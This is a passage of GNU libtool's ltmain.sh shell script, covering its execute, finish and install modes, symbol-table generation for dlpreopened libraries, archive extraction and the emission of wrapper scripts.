"X$opt_dry_run" = Xfalse; then if test -n "$shlibpath_var"; then # Export the shlibpath_var. eval "export $shlibpath_var" fi # Restore saved environment variables for lt_var in LANG LANGUAGE LC_ALL LC_CTYPE LC_COLLATE LC_MESSAGES do eval "if test \"\${save_$lt_var+set}\" = set; then $lt_var=\$save_$lt_var; export $lt_var else $lt_unset $lt_var fi" done # Now prepare to actually exec the command. exec_cmd="\$cmd$args" else # Display what would be done. if test -n "$shlibpath_var"; then eval "\$ECHO \"\$shlibpath_var=\$$shlibpath_var\"" $ECHO "export $shlibpath_var" fi $ECHO "$cmd$args" exit $EXIT_SUCCESS fi } test "$mode" = execute && func_mode_execute ${1+"$@"} # func_mode_finish arg... func_mode_finish () { $opt_debug libdirs="$nonopt" admincmds= if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then for dir do libdirs="$libdirs $dir" done for libdir in $libdirs; do if test -n "$finish_cmds"; then # Do each command in the finish commands. func_execute_cmds "$finish_cmds" 'admincmds="$admincmds '"$cmd"'"' fi if test -n "$finish_eval"; then # Do the single finish_eval. eval cmds=\"$finish_eval\" $opt_dry_run || eval "$cmds" || admincmds="$admincmds $cmds" fi done fi # Exit here if they wanted silent mode. $opt_silent && exit $EXIT_SUCCESS $ECHO "X----------------------------------------------------------------------" | $Xsed $ECHO "Libraries have been installed in:" for libdir in $libdirs; do $ECHO " $libdir" done $ECHO $ECHO "If you ever happen to want to link against installed libraries" $ECHO "in a given directory, LIBDIR, you must either use libtool, and" $ECHO "specify the full pathname of the library, or use the \`-LLIBDIR'" $ECHO "flag during linking and do at least one of the following:" if test -n "$shlibpath_var"; then $ECHO " - add LIBDIR to the \`$shlibpath_var' environment variable" $ECHO " during execution" fi if test -n "$runpath_var"; then $ECHO " - add LIBDIR to the \`$runpath_var' environment variable" $ECHO " during linking" fi if test -n "$hardcode_libdir_flag_spec"; then libdir=LIBDIR eval flag=\"$hardcode_libdir_flag_spec\" $ECHO " - use the \`$flag' linker flag" fi if test -n "$admincmds"; then $ECHO " - have your system administrator run these commands:$admincmds" fi if test -f /etc/ld.so.conf; then $ECHO " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'" fi $ECHO $ECHO "See any operating system documentation about shared libraries for" case $host in solaris2.[6789]|solaris2.1[0-9]) $ECHO "more information, such as the ld(1), crle(1) and ld.so(8) manual" $ECHO "pages." ;; *) $ECHO "more information, such as the ld(1) and ld.so(8) manual pages." ;; esac $ECHO "X----------------------------------------------------------------------" | $Xsed exit $EXIT_SUCCESS } test "$mode" = finish && func_mode_finish ${1+"$@"} # func_mode_install arg... func_mode_install () { $opt_debug # There may be an optional sh(1) argument at the beginning of # install_prog (especially on Windows NT). if test "$nonopt" = "$SHELL" || test "$nonopt" = /bin/sh || # Allow the use of GNU shtool's install command. $ECHO "X$nonopt" | $GREP shtool >/dev/null; then # Aesthetically quote it. func_quote_for_eval "$nonopt" install_prog="$func_quote_for_eval_result " arg=$1 shift else install_prog= arg=$nonopt fi # The real first argument should be the name of the installation program. # Aesthetically quote it. func_quote_for_eval "$arg" install_prog="$install_prog$func_quote_for_eval_result" # We need to accept at least all the BSD install flags. dest= files= opts= prev= install_type= isdir=no stripme= for arg do if test -n "$dest"; then files="$files $dest" dest=$arg continue fi case $arg in -d) isdir=yes ;; -f) case " $install_prog " in *[\\\ /]cp\ *) ;; *) prev=$arg ;; esac ;; -g | -m | -o) prev=$arg ;; -s) stripme=" -s" continue ;; -*) ;; *) # If the previous option needed an argument, then skip it. if test -n "$prev"; then prev= else dest=$arg continue fi ;; esac # Aesthetically quote the argument. func_quote_for_eval "$arg" install_prog="$install_prog $func_quote_for_eval_result" done test -z "$install_prog" && \ func_fatal_help "you must specify an install program" test -n "$prev" && \ func_fatal_help "the \`$prev' option requires an argument" if test -z "$files"; then if test -z "$dest"; then func_fatal_help "no file or destination specified" else func_fatal_help "you must specify a destination" fi fi # Strip any trailing slash from the destination. func_stripname '' '/' "$dest" dest=$func_stripname_result # Check to see that the destination is a directory. test -d "$dest" && isdir=yes if test "$isdir" = yes; then destdir="$dest" destname= else func_dirname_and_basename "$dest" "" "." destdir="$func_dirname_result" destname="$func_basename_result" # Not a directory, so check to see that there is only one file specified. set dummy $files; shift test "$#" -gt 1 && \ func_fatal_help "\`$dest' is not a directory" fi case $destdir in [\\/]* | [A-Za-z]:[\\/]*) ;; *) for file in $files; do case $file in *.lo) ;; *) func_fatal_help "\`$destdir' must be an absolute directory name" ;; esac done ;; esac # This variable tells wrapper scripts just to set variables rather # than running their programs. libtool_install_magic="$magic" staticlibs= future_libdirs= current_libdirs= for file in $files; do # Do each installation. case $file in *.$libext) # Do the static libraries later. staticlibs="$staticlibs $file" ;; *.la) # Check to see that this really is a libtool archive. func_lalib_unsafe_p "$file" \ || func_fatal_help "\`$file' is not a valid libtool archive" library_names= old_library= relink_command= func_source "$file" # Add the libdir to current_libdirs if it is the destination. if test "X$destdir" = "X$libdir"; then case "$current_libdirs " in *" $libdir "*) ;; *) current_libdirs="$current_libdirs $libdir" ;; esac else # Note the libdir as a future libdir. case "$future_libdirs " in *" $libdir "*) ;; *) future_libdirs="$future_libdirs $libdir" ;; esac fi func_dirname "$file" "/" "" dir="$func_dirname_result" dir="$dir$objdir" if test -n "$relink_command"; then # Determine the prefix the user has applied to our future dir. inst_prefix_dir=`$ECHO "X$destdir" | $Xsed -e "s%$libdir\$%%"` # Don't allow the user to place us outside of our expected # location b/c this prevents finding dependent libraries that # are installed to the same prefix. # At present, this check doesn't affect windows .dll's that # are installed into $libdir/../bin (currently, that works fine) # but it's something to keep an eye on. test "$inst_prefix_dir" = "$destdir" && \ func_fatal_error "error: cannot install \`$file' to a directory not ending in $libdir" if test -n "$inst_prefix_dir"; then # Stick the inst_prefix_dir data into the link command. relink_command=`$ECHO "X$relink_command" | $Xsed -e "s%@inst_prefix_dir@%-inst-prefix-dir $inst_prefix_dir%"` else relink_command=`$ECHO "X$relink_command" | $Xsed -e "s%@inst_prefix_dir@%%"` fi func_warning "relinking \`$file'" func_show_eval "$relink_command" \ 'func_fatal_error "error: relink \`$file'\'' with the above command before installing it"' fi # See the names of the shared library. set dummy $library_names; shift if test -n "$1"; then realname="$1" shift srcname="$realname" test -n "$relink_command" && srcname="$realname"T # Install the shared library and build the symlinks. func_show_eval "$install_prog $dir/$srcname $destdir/$realname" \ 'exit $?' tstripme="$stripme" case $host_os in cygwin* | mingw* | pw32* | cegcc*) case $realname in *.dll.a) tstripme="" ;; esac ;; esac if test -n "$tstripme" && test -n "$striplib"; then func_show_eval "$striplib $destdir/$realname" 'exit $?' fi if test "$#" -gt 0; then # Delete the old symlinks, and create new ones. # Try `ln -sf' first, because the `ln' binary might depend on # the symlink we replace! Solaris /bin/ln does not understand -f, # so we also need to try rm && ln -s. for linkname do test "$linkname" != "$realname" \ && func_show_eval "(cd $destdir && { $LN_S -f $realname $linkname || { $RM $linkname && $LN_S $realname $linkname; }; })" done fi # Do each command in the postinstall commands. lib="$destdir/$realname" func_execute_cmds "$postinstall_cmds" 'exit $?' fi # Install the pseudo-library for information purposes. func_basename "$file" name="$func_basename_result" instname="$dir/$name"i func_show_eval "$install_prog $instname $destdir/$name" 'exit $?' # Maybe install the static library, too. test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library" ;; *.lo) # Install (i.e. copy) a libtool object. # Figure out destination file name, if it wasn't already specified. if test -n "$destname"; then destfile="$destdir/$destname" else func_basename "$file" destfile="$func_basename_result" destfile="$destdir/$destfile" fi # Deduce the name of the destination old-style object file. case $destfile in *.lo) func_lo2o "$destfile" staticdest=$func_lo2o_result ;; *.$objext) staticdest="$destfile" destfile= ;; *) func_fatal_help "cannot copy a libtool object to \`$destfile'" ;; esac # Install the libtool object if requested. test -n "$destfile" && \ func_show_eval "$install_prog $file $destfile" 'exit $?' # Install the old object if enabled. if test "$build_old_libs" = yes; then # Deduce the name of the old-style object file. func_lo2o "$file" staticobj=$func_lo2o_result func_show_eval "$install_prog \$staticobj \$staticdest" 'exit $?' fi exit $EXIT_SUCCESS ;; *) # Figure out destination file name, if it wasn't already specified. if test -n "$destname"; then destfile="$destdir/$destname" else func_basename "$file" destfile="$func_basename_result" destfile="$destdir/$destfile" fi # If the file is missing, and there is a .exe on the end, strip it # because it is most likely a libtool script we actually want to # install stripped_ext="" case $file in *.exe) if test ! -f "$file"; then func_stripname '' '.exe' "$file" file=$func_stripname_result stripped_ext=".exe" fi ;; esac # Do a test to see if this is really a libtool program. case $host in *cygwin* | *mingw*) if func_ltwrapper_executable_p "$file"; then func_ltwrapper_scriptname "$file" wrapper=$func_ltwrapper_scriptname_result else func_stripname '' '.exe' "$file" wrapper=$func_stripname_result fi ;; *) wrapper=$file ;; esac if func_ltwrapper_script_p "$wrapper"; then notinst_deplibs= relink_command= func_source "$wrapper" # Check the variables that should have been set. test -z "$generated_by_libtool_version" && \ func_fatal_error "invalid libtool wrapper script \`$wrapper'" finalize=yes for lib in $notinst_deplibs; do # Check to see that each library is installed. libdir= if test -f "$lib"; then func_source "$lib" fi libfile="$libdir/"`$ECHO "X$lib" | $Xsed -e 's%^.*/%%g'` ### testsuite: skip nested quoting test if test -n "$libdir" && test ! -f "$libfile"; then func_warning "\`$lib' has not been installed in \`$libdir'" finalize=no fi done relink_command= func_source "$wrapper" outputname= if test "$fast_install" = no && test -n "$relink_command"; then $opt_dry_run || { if test "$finalize" = yes; then tmpdir=`func_mktempdir` func_basename "$file$stripped_ext" file="$func_basename_result" outputname="$tmpdir/$file" # Replace the output file specification. relink_command=`$ECHO "X$relink_command" | $Xsed -e 's%@OUTPUT@%'"$outputname"'%g'` $opt_silent || { func_quote_for_expand "$relink_command" eval "func_echo $func_quote_for_expand_result" } if eval "$relink_command"; then : else func_error "error: relink \`$file' with the above command before installing it" $opt_dry_run || ${RM}r "$tmpdir" continue fi file="$outputname" else func_warning "cannot relink \`$file'" fi } else # Install the binary that we compiled earlier. file=`$ECHO "X$file$stripped_ext" | $Xsed -e "s%\([^/]*\)$%$objdir/\1%"` fi fi # remove .exe since cygwin /usr/bin/install will append another # one anyway case $install_prog,$host in */usr/bin/install*,*cygwin*) case $file:$destfile in *.exe:*.exe) # this is ok ;; *.exe:*) destfile=$destfile.exe ;; *:*.exe) func_stripname '' '.exe' "$destfile" destfile=$func_stripname_result ;; esac ;; esac func_show_eval "$install_prog\$stripme \$file \$destfile" 'exit $?' $opt_dry_run || if test -n "$outputname"; then ${RM}r "$tmpdir" fi ;; esac done for file in $staticlibs; do func_basename "$file" name="$func_basename_result" # Set up the ranlib parameters. oldlib="$destdir/$name" func_show_eval "$install_prog \$file \$oldlib" 'exit $?' if test -n "$stripme" && test -n "$old_striplib"; then func_show_eval "$old_striplib $oldlib" 'exit $?' fi # Do each command in the postinstall commands. func_execute_cmds "$old_postinstall_cmds" 'exit $?' done test -n "$future_libdirs" && \ func_warning "remember to run \`$progname --finish$future_libdirs'" if test -n "$current_libdirs"; then # Maybe just do a dry run. $opt_dry_run && current_libdirs=" -n$current_libdirs" exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs' else exit $EXIT_SUCCESS fi } test "$mode" = install && func_mode_install ${1+"$@"} # func_generate_dlsyms outputname originator pic_p # Extract symbols from dlprefiles and create ${outputname}S.o with # a dlpreopen symbol table. func_generate_dlsyms () { $opt_debug my_outputname="$1" my_originator="$2" my_pic_p="${3-no}" my_prefix=`$ECHO "$my_originator" | sed 's%[^a-zA-Z0-9]%_%g'` my_dlsyms= if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then if test -n "$NM" && test -n "$global_symbol_pipe"; then my_dlsyms="${my_outputname}S.c" else func_error "not configured to extract global symbols from dlpreopened files" fi fi if test -n "$my_dlsyms"; then case $my_dlsyms in "") ;; *.c) # Discover the nlist of each of the dlfiles. nlist="$output_objdir/${my_outputname}.nm" func_show_eval "$RM $nlist ${nlist}S ${nlist}T" # Parse the name list into a source file. func_verbose "creating $output_objdir/$my_dlsyms" $opt_dry_run || $ECHO > "$output_objdir/$my_dlsyms" "\ /* $my_dlsyms - symbol resolution table for \`$my_outputname' dlsym emulation. */ /* Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION */ #ifdef __cplusplus extern \"C\" { #endif /* External symbol declarations for the compiler. */\ " if test "$dlself" = yes; then func_verbose "generating symbol list for \`$output'" $opt_dry_run || echo ': @PROGRAM@ ' > "$nlist" # Add our own program objects to the symbol list. progfiles=`$ECHO "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` for progfile in $progfiles; do func_verbose "extracting global C symbols from \`$progfile'" $opt_dry_run || eval "$NM $progfile | $global_symbol_pipe >> '$nlist'" done if test -n "$exclude_expsyms"; then $opt_dry_run || { eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T' eval '$MV "$nlist"T "$nlist"' } fi if test -n "$export_symbols_regex"; then $opt_dry_run || { eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T' eval '$MV "$nlist"T "$nlist"' } fi # Prepare the list of exported symbols if test -z "$export_symbols"; then export_symbols="$output_objdir/$outputname.exp" $opt_dry_run || { $RM $export_symbols eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"' case $host in *cygwin* | *mingw* | *cegcc* ) eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"' ;; esac } else $opt_dry_run || { eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"' eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T' eval '$MV "$nlist"T "$nlist"' case $host in *cygwin | *mingw* | *cegcc* ) eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' eval 'cat "$nlist" >> "$output_objdir/$outputname.def"' ;; esac } fi fi for dlprefile in $dlprefiles; do func_verbose "extracting global C symbols from \`$dlprefile'" func_basename "$dlprefile" name="$func_basename_result" $opt_dry_run || { eval '$ECHO ": $name " >> "$nlist"' eval "$NM $dlprefile 2>/dev/null | $global_symbol_pipe >> '$nlist'" } done $opt_dry_run || { # Make sure we have at least an empty file. test -f "$nlist" || : > "$nlist" if test -n "$exclude_expsyms"; then $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T $MV "$nlist"T "$nlist" fi # Try sorting and uniquifying the output. if $GREP -v "^: " < "$nlist" | if sort -k 3 /dev/null 2>&1; then sort -k 3 else sort +2 fi | uniq > "$nlist"S; then : else $GREP -v "^: " < "$nlist" > "$nlist"S fi if test -f "$nlist"S; then eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$my_dlsyms"' else $ECHO '/* NONE */' >> "$output_objdir/$my_dlsyms" fi $ECHO >> "$output_objdir/$my_dlsyms" "\ /* The mapping between symbol names and symbols. */ typedef struct { const char *name; void *address; } lt_dlsymlist; " case $host in *cygwin* | *mingw* | *cegcc* ) $ECHO >> "$output_objdir/$my_dlsyms" "\ /* DATA imports from DLLs on WIN32 con't be const, because runtime relocations are performed -- see ld's documentation on pseudo-relocs. */" lt_dlsym_const= ;; *osf5*) echo >> "$output_objdir/$my_dlsyms" "\ /* This system does not cope well with relocations in const data */" lt_dlsym_const= ;; *) lt_dlsym_const=const ;; esac $ECHO >> "$output_objdir/$my_dlsyms" "\ extern $lt_dlsym_const lt_dlsymlist lt_${my_prefix}_LTX_preloaded_symbols[]; $lt_dlsym_const lt_dlsymlist lt_${my_prefix}_LTX_preloaded_symbols[] = {\ { \"$my_originator\", (void *) 0 }," case $need_lib_prefix in no) eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$my_dlsyms" ;; *) eval "$global_symbol_to_c_name_address_lib_prefix" < "$nlist" >> "$output_objdir/$my_dlsyms" ;; esac $ECHO >> "$output_objdir/$my_dlsyms" "\ {0, (void *) 0} }; /* This works around a problem in FreeBSD linker */ #ifdef FREEBSD_WORKAROUND static const void *lt_preloaded_setup() { return lt_${my_prefix}_LTX_preloaded_symbols; } #endif #ifdef __cplusplus } #endif\ " } # !$opt_dry_run pic_flag_for_symtable= case "$compile_command " in *" -static "*) ;; *) case $host in # compiling the symbol table file with pic_flag works around # a FreeBSD bug that causes programs to crash when -lm is # linked before any other PIC object. But we must not use # pic_flag when linking with -static. The problem exists in # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND" ;; *-*-hpux*) pic_flag_for_symtable=" $pic_flag" ;; *) if test "X$my_pic_p" != Xno; then pic_flag_for_symtable=" $pic_flag" fi ;; esac ;; esac symtab_cflags= for arg in $LTCFLAGS; do case $arg in -pie | -fpie | -fPIE) ;; *) symtab_cflags="$symtab_cflags $arg" ;; esac done # Now compile the dynamic symbol file. func_show_eval '(cd $output_objdir && $LTCC$symtab_cflags -c$no_builtin_flag$pic_flag_for_symtable "$my_dlsyms")' 'exit $?' # Clean up the generated files. func_show_eval '$RM "$output_objdir/$my_dlsyms" "$nlist" "${nlist}S" "${nlist}T"' # Transform the symbol file into the correct name. symfileobj="$output_objdir/${my_outputname}S.$objext" case $host in *cygwin* | *mingw* | *cegcc* ) if test -f "$output_objdir/$my_outputname.def"; then compile_command=`$ECHO "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"` finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/$my_outputname.def $symfileobj%"` else compile_command=`$ECHO "X$compile_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"` finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"` fi ;; *) compile_command=`$ECHO "X$compile_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"` finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$symfileobj%"` ;; esac ;; *) func_fatal_error "unknown suffix for \`$my_dlsyms'" ;; esac else # We keep going just in case the user didn't refer to # lt_preloaded_symbols. The linker will fail if global_symbol_pipe # really was required. # Nullify the symbol file. compile_command=`$ECHO "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"` finalize_command=`$ECHO "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"` fi } # func_win32_libid arg # return the library type of file 'arg' # # Need a lot of goo to handle *both* DLLs and import libs # Has to be a shell function in order to 'eat' the argument # that is supplied when $file_magic_command is called. func_win32_libid () { $opt_debug win32_libid_type="unknown" win32_fileres=`file -L $1 2>/dev/null` case $win32_fileres in *ar\ archive\ import\ library*) # definitely import win32_libid_type="x86 archive import" ;; *ar\ archive*) # could be an import, or static if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null | $EGREP 'file format pe-i386(.*architecture: i386)?' >/dev/null ; then win32_nmres=`eval $NM -f posix -A $1 | $SED -n -e ' 1,100{ / I /{ s,.*,import, p q } }'` case $win32_nmres in import*) win32_libid_type="x86 archive import";; *) win32_libid_type="x86 archive static";; esac fi ;; *DLL*) win32_libid_type="x86 DLL" ;; *executable*) # but shell scripts are "executable" too... case $win32_fileres in *MS\ Windows\ PE\ Intel*) win32_libid_type="x86 DLL" ;; esac ;; esac $ECHO "$win32_libid_type" } # func_extract_an_archive dir oldlib func_extract_an_archive () { $opt_debug f_ex_an_ar_dir="$1"; shift f_ex_an_ar_oldlib="$1" func_show_eval "(cd \$f_ex_an_ar_dir && $AR x \"\$f_ex_an_ar_oldlib\")" 'exit $?' if ($AR t "$f_ex_an_ar_oldlib" | sort | sort -uc >/dev/null 2>&1); then : else func_fatal_error "object name conflicts in archive: $f_ex_an_ar_dir/$f_ex_an_ar_oldlib" fi } # func_extract_archives gentop oldlib ... func_extract_archives () { $opt_debug my_gentop="$1"; shift my_oldlibs=${1+"$@"} my_oldobjs="" my_xlib="" my_xabs="" my_xdir="" for my_xlib in $my_oldlibs; do # Extract the objects. case $my_xlib in [\\/]* | [A-Za-z]:[\\/]*) my_xabs="$my_xlib" ;; *) my_xabs=`pwd`"/$my_xlib" ;; esac func_basename "$my_xlib" my_xlib="$func_basename_result" my_xlib_u=$my_xlib while :; do case " $extracted_archives " in *" $my_xlib_u "*) func_arith $extracted_serial + 1 extracted_serial=$func_arith_result my_xlib_u=lt$extracted_serial-$my_xlib ;; *) break ;; esac done extracted_archives="$extracted_archives $my_xlib_u" my_xdir="$my_gentop/$my_xlib_u" func_mkdir_p "$my_xdir" case $host in *-darwin*) func_verbose "Extracting $my_xabs" # Do not bother doing anything if just a dry run $opt_dry_run || { darwin_orig_dir=`pwd` cd $my_xdir || exit $? darwin_archive=$my_xabs darwin_curdir=`pwd` darwin_base_archive=`basename "$darwin_archive"` darwin_arches=`$LIPO -info "$darwin_archive" 2>/dev/null | $GREP Architectures 2>/dev/null || true` if test -n "$darwin_arches"; then darwin_arches=`$ECHO "$darwin_arches" | $SED -e 's/.*are://'` darwin_arch= func_verbose "$darwin_base_archive has multiple architectures $darwin_arches" for darwin_arch in $darwin_arches ; do func_mkdir_p "unfat-$$/${darwin_base_archive}-${darwin_arch}" $LIPO -thin $darwin_arch -output "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" "${darwin_archive}" cd "unfat-$$/${darwin_base_archive}-${darwin_arch}" func_extract_an_archive "`pwd`" "${darwin_base_archive}" cd "$darwin_curdir" $RM "unfat-$$/${darwin_base_archive}-${darwin_arch}/${darwin_base_archive}" done # $darwin_arches ## Okay now we've a bunch of thin objects, gotta fatten them up :) darwin_filelist=`find unfat-$$ -type f -name \*.o -print -o -name \*.lo -print | $SED -e "$basename" | sort -u` darwin_file= darwin_files= for darwin_file in $darwin_filelist; do darwin_files=`find unfat-$$ -name $darwin_file -print | $NL2SP` $LIPO -create -output "$darwin_file" $darwin_files done # $darwin_filelist $RM -rf unfat-$$ cd "$darwin_orig_dir" else cd $darwin_orig_dir func_extract_an_archive "$my_xdir" "$my_xabs" fi # $darwin_arches } # !$opt_dry_run ;; *) func_extract_an_archive "$my_xdir" "$my_xabs" ;; esac my_oldobjs="$my_oldobjs "`find $my_xdir -name \*.$objext -print -o -name \*.lo -print | $NL2SP` done func_extract_archives_result="$my_oldobjs" } # func_emit_wrapper_part1 [arg=no] # # Emit the first part of a libtool wrapper script on stdout. # For more information, see the description associated with # func_emit_wrapper(), below. func_emit_wrapper_part1 () { func_emit_wrapper_part1_arg1=no if test -n "$1" ; then func_emit_wrapper_part1_arg1=$1 fi $ECHO "\ #! $SHELL # $output - temporary wrapper script for $objdir/$outputname # Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION # # The $output program cannot be directly executed until all the libtool # libraries that it depends on are installed. # # This wrapper script should never be moved out of the build directory. # If it is, it will not operate correctly. # Sed substitution that helps us do robust quoting. It backslashifies # metacharacters that are still active within double-quoted strings. Xsed='${SED} -e 1s/^X//' sed_quote_subst='$sed_quote_subst' # Be Bourne compatible if test -n \"\${ZSH_VERSION+set}\" && (emulate sh) >/dev/null 2>&1; then emulate sh NULLCMD=: # Zsh 3.x and 4.x performs word splitting on \${1+\"\$@\"}, which # is contrary to our usage. Disable this feature. alias -g '\${1+\"\$@\"}'='\"\$@\"' setopt NO_GLOB_SUBST else case \`(set -o) 2>/dev/null\` in *posix*) set -o posix;; esac fi BIN_SH=xpg4; export BIN_SH # for Tru64 DUALCASE=1; export DUALCASE # for MKS sh # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH relink_command=\"$relink_command\" # This environment variable determines our operation mode. if test \"\$libtool_install_magic\" = \"$magic\"; then # install mode needs the following variables: generated_by_libtool_version='$macro_version' notinst_deplibs='$notinst_deplibs' else # When we are sourced in execute mode, \$file and \$ECHO are already set. if test \"\$libtool_execute_magic\" != \"$magic\"; then ECHO=\"$qecho\" file=\"\$0\" # Make sure echo works. if test \"X\$1\" = X--no-reexec; then # Discard the --no-reexec flag, and continue. shift elif test \"X\`{ \$ECHO '\t'; } 2>/dev/null\`\" = 'X\t'; then # Yippee, \$ECHO works! : else # Restart under the correct shell, and then maybe \$ECHO will work. exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"} fi fi\ " $ECHO "\ # Find the directory that this script lives in. thisdir=\`\$ECHO \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\` test \"x\$thisdir\" = \"x\$file\" && thisdir=. # Follow symbolic links until we get to the real thisdir. file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\` while test -n \"\$file\"; do destdir=\`\$ECHO \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\` # If there was a directory component, then change thisdir. if test \"x\$destdir\" != \"x\$file\"; then case \"\$destdir\" in [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;; *) thisdir=\"\$thisdir/\$destdir\" ;; esac fi file=\`\$ECHO \"X\$file\" | \$Xsed -e 's%^.*/%%'\` file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\` done " } # end: func_emit_wrapper_part1 # func_emit_wrapper_part2 [arg=no] # # Emit the second part of a libtool wrapper script on stdout. # For more information, see the description associated with # func_emit_wrapper(), below. func_emit_wrapper_part2 () { func_emit_wrapper_part2_arg1=no if test -n "$1" ; then func_emit_wrapper_part2_arg1=$1 fi $ECHO "\ # Usually 'no', except on cygwin/mingw when embedded into # the cwrapper. WRAPPER_SCRIPT_BELONGS_IN_OBJDIR=$func_emit_wrapper_part2_arg1 if test \"\$WRAPPER_SCRIPT_BELONGS_IN_OBJDIR\" = \"yes\"; then # special case for '.' if test \"\$thisdir\" = \".\"; then thisdir=\`pwd\` fi # remove .libs from thisdir case \"\$thisdir\" in *[\\\\/]$objdir ) thisdir=\`\$ECHO \"X\$thisdir\" | \$Xsed -e 's%[\\\\/][^\\\\/]*$%%'\` ;; $objdir ) thisdir=. ;; esac fi # Try to get the absolute directory name. absdir=\`cd \"\$thisdir\" && pwd\` test -n \"\$absdir\" && thisdir=\"\$absdir\" " if test "$fast_install" = yes; then $ECHO "\ program=lt-'$outputname'$exeext progdir=\"\$thisdir/$objdir\" if test ! -f \"\$progdir/\$program\" || { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\ test \"X\$file\" != \"X\$progdir/\$program\"; }; then file=\"\$\$-\$program\" if test ! -d \"\$progdir\"; then $MKDIR \"\$progdir\" else $RM \"\$progdir/\$file\" fi" $ECHO "\ # relink executable if necessary if test -n \"\$relink_command\"; then if relink_command_output=\`eval \$relink_command 2>&1\`; then : else $ECHO \"\$relink_command_output\" >&2 $RM \"\$progdir/\$file\" exit 1 fi fi $MV \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null || { $RM \"\$progdir/\$program\"; $MV \"\$progdir/\$file\" \"\$progdir/\$program\"; } $RM \"\$progdir/\$file\" fi" else $ECHO "\ program='$outputname' progdir=\"\$thisdir/$objdir\" " fi $ECHO "\ if test -f \"\$progdir/\$program\"; then" # Export our shlibpath_var if we have one. if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then $ECHO "\ # Add our own library path to $shlibpath_var $shlibpath_var=\"$temp_rpath\$$shlibpath_var\" # Some systems cannot cope with colon-terminated $shlibpath_var # The second colon is a workaround for a bug in BeOS R4 sed $shlibpath_var=\`\$ECHO \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\` export $shlibpath_var " fi # fixup the dll searchpath if we need to. if test -n "$dllsearchpath"; then $ECHO "\ # Add the dll search path components to the executable PATH PATH=$dllsearchpath:\$PATH " fi $ECHO "\ if test \"\$libtool_execute_magic\" != \"$magic\"; then # Run the actual program with our arguments. " case $host in # Backslashes separate directories on plain windows *-*-mingw | *-*-os2* | *-cegcc*) $ECHO "\ exec \"\$progdir\\\\\$program\" \${1+\"\$@\"} " ;; *) $ECHO "\ exec \"\$progdir/\$program\" \${1+\"\$@\"} " ;; esac $ECHO "\ \$ECHO \"\$0: cannot exec \$program \$*\" 1>&2 exit 1 fi else # The program doesn't exist. \$ECHO \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2 \$ECHO \"This script is just a wrapper for \$program.\" 1>&2 $ECHO \"See the $PACKAGE documentation for more information.\" 1>&2 exit 1 fi fi\ " } # end: func_emit_wrapper_part2 # func_emit_wrapper [arg=no] # # Emit a libtool wrapper script on stdout. # Don't directly open a file because we may want to # incorporate the script contents within a cygwin/mingw # wrapper executable. Must ONLY be called from within # func_mode_link because it depends on a number of variables # set therein. # # ARG is the value that the WRAPPER_SCRIPT_BELONGS_IN_OBJDIR # variable will take. If 'yes', then the emitted script # will assume that the directory in which it is stored is # the $objdir directory. This is a cygwin/mingw-specific # behavior. func_emit_wrapper () { func_emit_wrapper_arg1=no if test -n "$1" ; then func_emit_wrapper_arg1=$1 fi # split this up so that func_emit_cwrapperexe_src # can call each part independently. func_emit_wrapper_part1 "${func_emit_wrapper_arg1}" func_emit_wrapper_part2 "${func_emit_wrapper_arg1}" } # func_to_host_path arg # # Convert paths to host format when used with build tools. # Intended for use with "native" mingw (where libtool itself # is running under the msys shell), or in the following cross- # build environments: # $build $host # mingw (msys) mingw [e.g. native] # cygwin mingw # *nix + wine mingw # where wine is equipped with the `winepath' executable. # In the native mingw case, the (msys) shell automatically # converts paths for any non-msys applications it launches, # but that facility isn't available from inside the cwrapper. # Similar accommodations are necessary for $host mingw and # $build 